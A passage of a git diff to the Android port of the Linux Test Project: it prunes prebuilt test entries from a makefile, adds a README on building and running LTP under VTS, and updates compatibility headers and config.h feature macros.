-module_src_files := testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup06
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-pktlossdup05
-module_src_files := testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup05
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-pktlossdup04
-module_src_files := testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup04
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-pktlossdup03
-module_src_files := testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-pktlossdup02
-module_src_files := testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-pktlossdup01
-module_src_files := testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/pm_sched_domain.py
-module_src_files := testcases/kernel/power_management/pm_sched_domain.py
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/pids.sh
-module_src_files := testcases/kernel/controllers/pids/pids.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/http-stress
-module_src_files := testcases/network/stress/http/http-stress
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-pktlossdup09
-module_src_files := testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup09
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-pktlossdup08
-module_src_files := testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup08
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/mcast6-queryfld03
-module_src_files := testcases/network/stress/multicast/query-flood/mcast6-queryfld03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/mcast6-queryfld01
-module_src_files := testcases/network/stress/multicast/query-flood/mcast6-queryfld01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/mcast6-queryfld06
-module_src_files := testcases/network/stress/multicast/query-flood/mcast6-queryfld06
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/mcast6-queryfld04
-module_src_files := testcases/network/stress/multicast/query-flood/mcast6-queryfld04
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/mcast6-queryfld05
-module_src_files := testcases/network/stress/multicast/query-flood/mcast6-queryfld05
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/dccp_ipsec_vti.sh
-module_src_files := testcases/network/stress/dccp/dccp_ipsec_vti.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fork_freeze.sh
-module_src_files := testcases/kernel/controllers/freezer/fork_freeze.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_racer_file_symlink.sh
-module_src_files := testcases/kernel/fs/racer/fs_racer_file_symlink.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ping01.sh
-module_src_files := testcases/network/tcp_cmds/ping/ping01.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/broken_ip4-ihl
-module_src_files := testcases/network/stress/broken_ip/broken_ip4-ihl
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/run_cpuctl_stress_test.sh
-module_src_files := testcases/kernel/controllers/cpuctl/run_cpuctl_stress_test.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffnic03
-module_src_files := testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffnic02
-module_src_files := testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffnic01
-module_src_files := testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/freeze_kill_thaw.sh
-module_src_files := testcases/kernel/controllers/freezer/freeze_kill_thaw.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffnic07
-module_src_files := testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic07
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffnic06
-module_src_files := testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic06
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffnic05
-module_src_files := testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic05
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffnic04
-module_src_files := testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic04
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffnic09
-module_src_files := testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic09
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-diffnic08
-module_src_files := testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic08
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/dctcp01.sh
-module_src_files := testcases/network/dctcp/dctcp01.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffnic05
-module_src_files := testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic05
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffnic04
-module_src_files := testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic04
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffnic07
-module_src_files := testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic07
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffnic06
-module_src_files := testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic06
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffnic01
-module_src_files := testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffnic03
-module_src_files := testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffnic02
-module_src_files := testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ima_setup.sh
-module_src_files := testcases/kernel/security/integrity/ima/tests/ima_setup.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffnic09
-module_src_files := testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic09
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffnic08
-module_src_files := testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic08
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/runpwtests04.sh
-module_src_files := testcases/kernel/power_management/runpwtests04.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-basic09
-module_src_files := testcases/network/stress/tcp/uni-basic/tcp4-uni-basic09
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-sameport14
-module_src_files := testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport14
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-sameport13
-module_src_files := testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport13
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-sameport12
-module_src_files := testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport12
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-sameport10
-module_src_files := testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport10
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/rbind/test04
-module_src_files := testcases/kernel/fs/fs_bind/rbind/test04
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/rbind/test05
-module_src_files := testcases/kernel/fs/fs_bind/rbind/test05
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/rbind/test06
-module_src_files := testcases/kernel/fs/fs_bind/rbind/test06
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/check_netem
-module_src_files := testcases/network/stress/ns-tools/check_netem
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/test_10_1.sh
-module_src_files := testcases/kernel/controllers/cgroup/test_10_1.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/rbind/test02
-module_src_files := testcases/kernel/fs/fs_bind/rbind/test02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/rbind/test03
-module_src_files := testcases/kernel/fs/fs_bind/rbind/test03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-winscale06
-module_src_files := testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale06
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-winscale07
-module_src_files := testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale07
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-winscale04
-module_src_files := testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale04
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-winscale05
-module_src_files := testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale05
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-winscale02
-module_src_files := testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-winscale03
-module_src_files := testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-winscale01
-module_src_files := testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/if-addr-addlarge
-module_src_files := testcases/network/stress/interface/if-addr-addlarge
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-winscale08
-module_src_files := testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale08
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-winscale09
-module_src_files := testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale09
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/write_freezing.sh
-module_src_files := testcases/kernel/controllers/freezer/write_freezing.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/smack_set_netlabel.sh
-module_src_files := testcases/kernel/security/smack/smack_set_netlabel.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/nfslock01
-module_src_files := testcases/network/nfs/nfslock01/nfslock01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/data/stress_floppy/dumpdir/1K_file
-module_src_files := testcases/kernel/io/stress_floppy/datafiles/dumpdir/1K_file
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/http-stress02-rmt
-module_src_files := testcases/network/stress/http/http-stress02-rmt
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/run_cpuctl_latency_test.sh
-module_src_files := testcases/kernel/controllers/cpuctl/run_cpuctl_latency_test.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/dccp_ipsec.sh
-module_src_files := testcases/network/stress/dccp/dccp_ipsec.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/if4-addr-change
-module_src_files := testcases/network/stress/interface/if4-addr-change
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/rusers01
-module_src_files := testcases/network/rpc/basic_tests/rusers/rusers01
+module_prebuilt := testcases/data/unzip01/test.zip
+module_src_files := testcases/commands/unzip/datafiles/test.zip
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/gre01.sh
-module_src_files := testcases/network/virt/gre01.sh
-include $(ltp_build_prebuilt)
diff --git a/android/README.md b/android/README.md
new file mode 100644
index 0000000..cf21d4f
--- /dev/null
+++ b/android/README.md
@@ -0,0 +1,215 @@
+VTS LTP Workflow
+================
+
+A Guide to Developing LTP for VTS/Android
+
+What is LTP?
+------------
+
+[Github](https://github.com/linux-test-project/ltp) (upstream)
+
+LTP (Linux Test Project) is a suite of tests that covers both kernel interfaces
+and userspace functionality (glibc, commonly used binaries, etc).  For the
+purposes of Android the userspace functionality testing is of less importance
+and in fact much of it must be disabled, given the functionality is not
+available in Android.
+
+As of mid-2018 there are on the order of 900 tests executed in VTS. Most tests
+are run in both 32-bit and 64-bit mode. Many more are available but currently
+disabled due to either being broken or not applicable on Android.
+
+How is LTP Run in VTS?
+----------------------
+
+The LTP source is located at external/ltp in the Android tree. This is not an
+exact mirror of upstream, there are outstanding changes to LTP for it to work
+on Android which have not yet been pushed upstream. In addition to the LTP
+source there is also the VTS wrapper around it. This is located at
+test/vts-testcase/kernel/ltp. Some noteworthy directories/files:
+
+* `external/ltp/android/`: Contains Android-specific files, aside from Android.[bp, mk] at top level.
+* `external/ltp/android/Android.ltp.mk`: Lists build rules for the LTP modules built under make. This file gets auto-generated by android/tools/gen_android_build.sh.
+* `external/ltp/gen.bp`: Lists build rules for the LTP modules built under Soong. This file gets auto-generated by android/tools/gen_android_build.sh.
+* `external/ltp/android/ltp_package_list.mk`: Lists all tests that will get pulled into VTS - VTS depends on this list. This file gets auto-generated by android/tools/gen_android_build.sh.
+* `external/ltp/android/tools/disabled_tests.txt`: Lists tests which cannot or should not be compiled for Android. This file is read by gen_android_build.sh during LTP upgrades to produce *.mk files required to build LTP for Android.
+* `external/ltp/testcases`: Source for LTP tests. Among the most important for the purposes of Treble are those in external/ltp/testcases/kernel/syscalls.
+* `test/vts-testcase/kernel/ltp/configs/disabled_tests.py`: Any test listed here will not be run in VTS, either in the staging or stable set, despite being compiled. If a test does not appear here then it at least runs as part of the VtsKernelLtpStaging module.
+* `test/vts-testcase/kernel/ltp/configs/stable_tests.py`: Any test listed here will run as part of the VtsKernelLtp (stable) module.
+
+New tests are run in the staging set for some time (a couple weeks or more) to
+ensure they are reliable prior to their being added to the stable set.
+
+To run VTS LTP it must first be built. VTS is not device specific, you need not
+compile it specifically for the device you wish to run it on, assuming it is
+the same architecture.
+
+* `. build/envsetup.sh`
+* `lunch`
+* `make -j vts`
+
+Before running VTS ensure your host has the required prerequisites (this need
+only be done once):
+* `. test/vts/script/setup.sh`
+
+Then open vts-tradefed and run the VTS stable set:
+* `vts-tradefed`
+* `vts-tf > run vts-kernel -m VtsKernelLtp`
+
+If you regularly work with multiple devices it may be useful to specify the
+specific device you wish to run VTS on via the serial number:
+* `vts-tf > run vts-kernel -m VtsKernelLtp -s 000123456789`
+
+Or we can run the staging set:
+* `vts-tf > run vts-kernel -m VtsKernelLtpStaging`
+
+Or a specific test within the stable set:
+* `vts-tf > run vts-kernel -m VtsKernelLtp -t dio.dio13`
+
+Maybe several:
+* `vts-tf > run vts-kernel -m VtsKernelLtp -t dio.dio13,fs.stream04`
+
+You may choose whether to specify bitness of the tests. This would run 4 tests - dio.dio13
+both 32-bit and 64-bit, fs.stream04 64-bit, and fs.lftest01 32-bit:
+* `vts-tf > run vts-kernel -m VtsKernelLtp -t dio.dio13,fs.stream04_64bit,fs.lftest01_32bit`
+
+Running LTP Faster
+------------------
+
+Running LTP tests within VTS can be quite cumbersome, especially if you are
+iterating a lot trying to debug something. Build and run LTP tests faster by
+doing
+
+* `external/ltp$ mma`
+* `external/ltp$ adb sync data`
+
+The test cases will be located at /data/nativetest{64,}/ltp/testcases/bin.
+
+Sometimes you need to perform this step after syncing:
+* `external/ltp$ make distclean`
+Otherwise, build will fail.
+
+In order to simulate the exact environment that VTS will be creating for each
+of these tests, you can set the following environment variables before you run
+the test. This is very useful if the test itself depends on some of these
+variables to be set appropriately.
+
+* `adb root && adb shell`
+
+In the root shell on device:
+* `mkdir -p /data/local/tmp/ltp/tmp/ltptemp`
+* `mkdir -p /data/local/tmp/ltp/tmp/tmpbase`
+* `mkdir -p /data/local/tmp/ltp/tmp/tmpdir`
+* `restorecon -F -R /data/local/tmp/ltp`
+* `export TMP=/data/local/tmp/ltp/tmp`
+* `export LTPTMP=/data/local/tmp/ltp/tmp/ltptemp`
+* `export LTP_DEV_FS_TYPE=ext4`
+* `export TMPBASE=/data/local/tmp/ltp/tmp/tmpbase`
+* `export TMPDIR=/data/local/tmp/ltp/tmp/tmpdir`
+* `export LTPROOT=/data/local/tmp/ltp`
+
+For running 64-bit tests:
+* `export PATH=/data/nativetest64/ltp/testcases/bin:$PATH`
+
+Or For running 32-bit tests:
+* `export PATH=/data/nativetest/ltp/testcases/bin:$PATH`
+
+How do I enable or disable tests from the LTP build?
+----------------------------------------------------
+
+Tests are disabled from the LTP build by adding them to
+external/ltp/android/tools/disabled_tests.txt. Many tests have been added to
+this file over time. Some of them are not applicable to Android and therefore
+should not be built. Others were disabled here because they were failing at one
+point in time for reasons unknown.
+
+To make a change to what is built in LTP, add or remove an entry in this file,
+and then update the Android-specific build files for LTP, mentioned above:
+
+* `external/ltp/android/Android.ltp.mk`, for LTP modules built in make
+* `external/ltp/gen.bp`, for LTP modules built in soong
+* `external/ltp/android/ltp_package_list.mk`, which lists all LTP modules that get pulled into VTS
+
+You can update these files manually, or you can run a script which regenerates
+these files from scratch, external/ltp/android/tools/gen_android_build.sh.
+
+How do I enable or disable tests from VTS LTP?
+----------------------------------------------
+
+In addition to whether modules are built in external/ltp, it is also necessary
+to configure the VTS harness for LTP to determine which tests are in the stable
+set, the staging set, or disabled. Note that being disabled in VTS does not
+affect whether the test is built, but rather determines whether it is run at
+all as part of the stable or staging sets.
+
+The file test/vts-testcase/kernel/ltp/configs/stable_tests.py lists tests that
+will run as part of VTS stable (VtsKernelLtp). The
+test/vts-testcase/kernel/ltp/configs/disabled_tests.py file lists tests that
+are runtime disabled in VTS. If a test is not listed in either of these files,
+but is enabled in the build in external/ltp, then it is in the staging set
+(VtsKernelLtpStaging).
+
+When a test is enabled for the first time in VTS it should be in the staging
+set. The behavior of the test will be observed over a period of time and ensure
+the test is reliable. After a period of time (a week or two) it will be moved
+to the stable set.
+
+Tests that will never be relevant to Android should be disabled from the build
+in external/ltp. Tests that are (hopefully) temporarily broken should be
+runtime disabled in VTS. The staging and stable sets should normally all be
+passing. If something is failing there it should either be fixed with priority
+or disabled until it can be fixed.
+
+How do I see or get notified about recent VTS LTP results?
+----------------------------------------------------------
+
+The internal portal at go/vts-web shows results for the continuous VTS testing
+done on internal devices. By adding tests such as VtsKernelLtp or
+VtsKernelLtpStaging to your favorites you will get email notifications whenever
+failures are seen.  Be warned, the testing iterates continuously and the
+notification emails can generate a lot of traffic.
+
+Test results are also gathered by Linaro and may be seen
+[here](https://qa-reports.linaro.org/android-lkft/).
+
+Help! The external/ltp build is failing!
+----------------------------------------
+
+Try doing a make distclean inside of external/ltp. If an upgrade to LTP has
+recently merged or the build files were recently updated, stale files in
+external/ltp can cause build failures.
+
+What outstanding issues exist?
+------------------------------
+
+The hotlist for LTP bugs is [ltp-todo](https://buganizer.corp.google.com/hotlists/733268).
+
+When you begin working on an LTP bug please assign the bug to yourself so that
+others know it is being worked on.
+
+Testing x86_64
+--------------
+
+It is not advisable to run LTP tests directly on your host unless you are fully
+aware of what the tests will do and are okay with it. These tests may
+destabilize your box or cause data loss. If you need to run tests on an x86
+platform and are unsure if they are safe you should run them in emulation, in a
+virtualized environment, or on a dedicated development x86 platform.
+
+Sending Fixes Upstream
+----------------------
+
+The mailing list for LTP is located
+[here](https://lists.linux.it/listinfo/ltp). Some standard kernel guidelines
+apply to sending patches; they should be checkpatch (scripts/checkpatch.pl in
+the kernel repository) clean and sent in plain text in canonical patch format.
+One easy way to do this is by using git format-patch and git send-email.
+
+There is an #LTP channel on freenode. The maintainer Cyril Hrubis is there (his
+nick is metan).
+
+Merging Fixes
+------------------------
+
+When possible please merge fixes upstream first. Then cherrypick the change
+onto aosp/master in external/ltp.
+
diff --git a/android/how-to-update.txt b/android/how-to-update.txt
index 47a062e..82932e2 100644
--- a/android/how-to-update.txt
+++ b/android/how-to-update.txt
@@ -1,7 +1,8 @@
+INSTRUCTIONS
+
+You'll need docker installed, so that a clean environment can be created.
+
 (1) checkout updated LTP tree under external/ltp
 (2) run the gen_android_build.sh script
         android/tools/gen_android_build.sh
-(3) remove libutil dependency from ltp_cve-2014-0196 in gen.bp
-    delete this line:
-    shared_libs: ["libutil"],
-(4) commit changes to gen.bp, android/Android.ltp.mk, android/ltp_package_list.mk
+(3) commit changes to gen.bp, android/Android.ltp.mk, android/ltp_package_list.mk
diff --git a/android/include/aio.h b/android/include/aio.h
index d92d7c6..02da639 100644
--- a/android/include/aio.h
+++ b/android/include/aio.h
@@ -3,7 +3,6 @@
 
 #include <time.h>
 #include <signal.h>
-#include <linux/aio_abi.h>
 #include <sys/cdefs.h>
 #include <sys/types.h>
 
diff --git a/android/include/bionic-compat.h b/android/include/bionic-compat.h
index aa17ad5..023685a 100644
--- a/android/include/bionic-compat.h
+++ b/android/include/bionic-compat.h
@@ -6,16 +6,17 @@
  */
 
 #define _GNU_SOURCE
+#include <limits.h>
+#include <linux/icmp.h>
 #include <stddef.h>
 #include <stdlib.h>
 #include <string.h>
-#include <unistd.h>
 #include <sys/resource.h>
 #include <sys/sysmacros.h>
 #include <sys/time.h>
 #include <sys/types.h>
 #include <sys/utsname.h>
-#include <linux/icmp.h>
+#include <unistd.h>
 
 #define __GLIBC_PREREQ(a, b) 1
 
@@ -27,6 +28,17 @@
 #define S_IWRITE S_IWUSR
 #define _UTSNAME_DOMAIN_LENGTH SYS_NMLN
 #define _UTSNAME_LENGTH SYS_NMLN
+#define LINE_MAX _POSIX2_LINE_MAX
+/* Bionic doesn't support extended patterns and
+ * as of LTP20180515, this only used by read_all.c
+ * which is run from runtest/fs.
+ *
+ * LTP does not pass the argument that will end up
+ * going down the extended pattern match call, so
+ * we are safe here. This is for *build* purposes only
+ * and we don't alter behavior
+ */
+#define FNM_EXTMATCH 0
 
 enum __ptrace_request { ENUM_PTRACE_UNUSED };
 typedef unsigned long ulong;
diff --git a/android/include/config.h b/android/include/config.h
index 4e43ad7..65cc132 100644
--- a/android/include/config.h
+++ b/android/include/config.h
@@ -43,34 +43,6 @@
    you don't. */
 #define HAVE_DECL_MADV_MERGEABLE 1
 
-/* Define to 1 if you have the declaration of `MPOL_BIND', and to 0 if you
-   don't. */
-#define HAVE_DECL_MPOL_BIND 0
-
-/* Define to 1 if you have the declaration of `MPOL_DEFAULT', and to 0 if you
-   don't. */
-#define HAVE_DECL_MPOL_DEFAULT 0
-
-/* Define to 1 if you have the declaration of `MPOL_F_ADDR', and to 0 if you
-   don't. */
-#define HAVE_DECL_MPOL_F_ADDR 0
-
-/* Define to 1 if you have the declaration of `MPOL_F_MEMS_ALLOWED', and to 0
-   if you don't. */
-#define HAVE_DECL_MPOL_F_MEMS_ALLOWED 0
-
-/* Define to 1 if you have the declaration of `MPOL_F_NODE', and to 0 if you
-   don't. */
-#define HAVE_DECL_MPOL_F_NODE 0
-
-/* Define to 1 if you have the declaration of `MPOL_INTERLEAVE', and to 0 if
-   you don't. */
-#define HAVE_DECL_MPOL_INTERLEAVE 0
-
-/* Define to 1 if you have the declaration of `MPOL_PREFERRED', and to 0 if
-   you don't. */
-#define HAVE_DECL_MPOL_PREFERRED 0
-
 /* Define to 1 if you have the declaration of `PR_CAPBSET_DROP', and to 0 if
    you don't. */
 #define HAVE_DECL_PR_CAPBSET_DROP 1
@@ -91,15 +63,15 @@
    you don't. */
 #define HAVE_DECL_PTRACE_SETOPTIONS 1
 
-/* Define to 1 if you have the <dmapi.h> header file. */
-/* #undef HAVE_DMAPI_H */
-
 /* Define to 1 if the system has the type `enum kcmp_type'. */
 #define HAVE_ENUM_KCMP_TYPE 1
 
 /* Define to 1 if you have the `epoll_pwait' function. */
 #define HAVE_EPOLL_PWAIT 1
 
+/* Define to 1 if you have the `execveat' function. */
+/* #undef HAVE_EXECVEAT */
+
 /* Define to 1 if you have the `fallocate' function. */
 #define HAVE_FALLOCATE 1
 
@@ -117,12 +89,12 @@
 #define HAVE_FS_IOC_FLAGS 1
 
 /* Define to 1 if you have the <ifaddrs.h> header file. */
-/* #undef HAVE_IFADDRS_H */
+#define HAVE_IFADDRS_H 1
 
 /* Define to 1 if you have the <inttypes.h> header file. */
 #define HAVE_INTTYPES_H 1
 
-/* Define to 1 if you have the `io_set_eventfd' function. */
+/* Define to 1 if you have `io_set_eventfd' function. */
 /* #undef HAVE_IO_SET_EVENTFD */
 
 /* Define to 1 if you have the `kcmp' function. */
@@ -131,14 +103,14 @@
 /* Define to 1 if you have the <keyutils.h> header file. */
 /* #undef HAVE_KEYUTILS_H */
 
-/* Define to 1 if you have libacl installed. */
+/* Define to 1 if you have libacl and it's headers installed */
 /* #undef HAVE_LIBACL */
 
 /* Define to 1 if you have libaio and it's headers installed. */
-/* #undef HAVE_LIBAIO */
+#define HAVE_LIBAIO 1
 
 /* Define to 1 if you have the <libaio.h> header file. */
-/* #undef HAVE_LIBAIO_H */
+#define HAVE_LIBAIO_H 1
 
 /* Define to 1 if you have libcap-2 installed. */
 #define HAVE_LIBCAP 1
@@ -158,6 +130,12 @@
 /* Define to 1 if you have the <linux/can.h> header file. */
 #define HAVE_LINUX_CAN_H 1
 
+/* Define to 1 if you have the <linux/cryptouser.h> header file. */
+#define HAVE_LINUX_CRYPTOUSER_H 1
+
+/* Define to 1 if you have the <linux/dccp.h> header file. */
+#define HAVE_LINUX_DCCP_H 1
+
 /* Define to 1 if you have the <linux/genetlink.h> header file. */
 #define HAVE_LINUX_GENETLINK_H 1
 
@@ -218,23 +196,23 @@
 /* Define to 1 if you have the `modify_ldt' function. */
 /* #undef HAVE_MODIFY_LDT */
 
-/* define to 1 if you have all constants required to use mbind tests */
-/* #undef HAVE_MPOL_CONSTANTS */
-
 /* Define to 1 if you have MREMAP_FIXED in <sys/mman.h>. */
 #define HAVE_MREMAP_FIXED 1
 
+/* Define to 1 if you have the <netconfig.h> header file. */
+/* #undef HAVE_NETCONFIG_H */
+
+/* Define to 1 if you have the <netinet/sctp.h> header file. */
+/* #undef HAVE_NETINET_SCTP_H */
+
 /* Define to 1 if you have the <numaif.h> header file. */
 /* #undef HAVE_NUMAIF_H */
 
-/* define to 1 if you have 'numa_alloc_onnode' function */
-/* #undef HAVE_NUMA_ALLOC_ONNODE */
-
 /* Define to 1 if you have the <numa.h> header file. */
 /* #undef HAVE_NUMA_H */
 
-/* define to 1 if you have 'numa_move_pages' function */
-/* #undef HAVE_NUMA_MOVE_PAGES */
+/* Define to 1 if you have libnuma and it's headers version >= 2 installed. */
+/* #undef HAVE_NUMA_V2 */
 
 /* Define to 1 if you have the `openat' function. */
 #define HAVE_OPENAT 1
@@ -248,6 +226,9 @@
 /* Define to 1 if you have the `preadv' function. */
 #define HAVE_PREADV 1
 
+/* Define to 1 if you have the `preadv2' function. */
+/* #undef HAVE_PREADV2 */
+
 /* Define to 1 if you have the `profil' function. */
 #define HAVE_PROFIL 1
 
@@ -273,7 +254,7 @@
 /* #undef HAVE_RENAMEAT2 */
 
 /* Define to 1 if you have the <selinux/selinux.h> header file. */
-#define HAVE_SELINUX_SELINUX_H
+#define HAVE_SELINUX_SELINUX_H 1
 
 /* Define to 1 if you have the `signalfd' function. */
 #define HAVE_SIGNALFD 1
@@ -284,6 +265,9 @@
 /* Define to 1 if you have the `splice' function. */
 #define HAVE_SPLICE 1
 
+/* Define to 1 if you have the `statx' function. */
+/* #undef HAVE_STATX */
+
 /* Define to 1 if you have the <stdint.h> header file. */
 #define HAVE_STDINT_H 1
 
@@ -308,12 +292,18 @@
 /* Define to 1 if the system has the type `struct modify_ldt_ldt_s'. */
 /* #undef HAVE_STRUCT_MODIFY_LDT_LDT_S */
 
+/* Define to 1 if `aux_head' is a member of `struct perf_event_mmap_page'. */
+#define HAVE_STRUCT_PERF_EVENT_MMAP_PAGE_AUX_HEAD 1
+
 /* Define to 1 if the system has the type `struct ptrace_peeksiginfo_args'. */
 #define HAVE_STRUCT_PTRACE_PEEKSIGINFO_ARGS 1
 
 /* Define to 1 if the system has the type `struct pt_regs'. */
 #define HAVE_STRUCT_PT_REGS 1
 
+/* Define to 1 if the system has the type `struct rlimit64'. */
+#define HAVE_STRUCT_RLIMIT64 1
+
 /* Define to 1 if `sa_sigaction' is a member of `struct sigaction'. */
 #define HAVE_STRUCT_SIGACTION_SA_SIGACTION 1
 
@@ -323,6 +313,12 @@
 /* Define to 1 if `ssi_signo' is a member of `struct signalfd_siginfo'. */
 #define HAVE_STRUCT_SIGNALFD_SIGINFO_SSI_SIGNO 1
 
+/* Define to 1 if the system has the type `struct statx'. */
+#define HAVE_STRUCT_STATX 1
+
